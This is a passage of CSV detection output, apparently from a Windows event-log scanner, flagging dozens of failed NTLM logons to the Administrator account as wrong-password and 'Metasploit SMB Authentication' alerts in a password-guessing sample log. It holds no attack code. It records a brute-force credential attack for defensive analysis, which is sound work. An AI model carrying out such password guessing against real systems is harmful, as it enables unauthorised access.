Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.730 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IkO9p50Q9iFolbmb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.730 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p01SZCA784xmPMe2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.780 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XKaI3FHBbBXvVsES : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmUk6sW8QreDIZZ5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.873 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k0w9SSWaaTX7chM9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.916 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 46vgsyX5Wxn2rupf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.961 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.006 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PV8628a8GNKoFyzM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.006 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mksBFEFzkC08dB4o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.047 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U6QlHT6Bp63JDehd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tRj4fxcRY0Esegl6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.157 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dj6zQjZwGEBo0zNt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.157 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.202 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: imfY1T2VMoaqDSUd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.202 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.243 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qvPP8UYn9fLpRYl4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.243 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rFTGQ5tzNI5k58cK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.289 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F8Zj3g1WiTLx8OlJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.329 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x2Lr6j8Qt4xEmZZF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BeDRsguCovO47lKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.409 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KqrDyaFTewMPSzD9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.445 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.489 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nBVMAki1Ghpknf6p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.489 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.535 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pXKhNUmBUQBTyeNM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.535 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d1g9TVwsweaBfZgE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kWymb6ucohaBB60b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.645 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.747 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LjL0zwlZofVuWhGC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.747 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nxsdzkJdnaZs5eKL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PR6EpKvbqMeoQlKI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.844 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OZ3LMTtsVNI1gRO2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.889 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 75bNeXwYSZPhJdJ7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.929 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lH6TVXSqJb1qLd3t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.981 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: edDWye6c2UhKznR6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.021 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.057 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AxKUl1lynGY1ectn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.057 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.094 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vI5yUgukPBVRorJI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.094 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.142 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmR29QcBKMGVQ8rB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.142 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.177 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7luV5GfiT0v0h7D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.177 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yA7pIDFgQbLIInqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.217 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.257 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 84g2gO0253Ut4O1O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.257 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DRkFX9WTAhBZ8jc8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WuoQAi4k3XZPaf4O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.337 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KjKMhCnbR0uFT0av : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.393 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1lfwqPB0AgTfIOt4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.442 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mJuG26pQzdjUQael : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.486 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GXwEziYTA3DkkFVq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CHr6dirvkT8B9ZVs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.623 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B5eSMLiF4BsfY3xN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.623 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 64ISDuFRhR6cFYVQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hcprXytyuBw380XY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.693 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BxfQWiSIhZYxwNjh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FcL982boDelzeyzK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.772 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 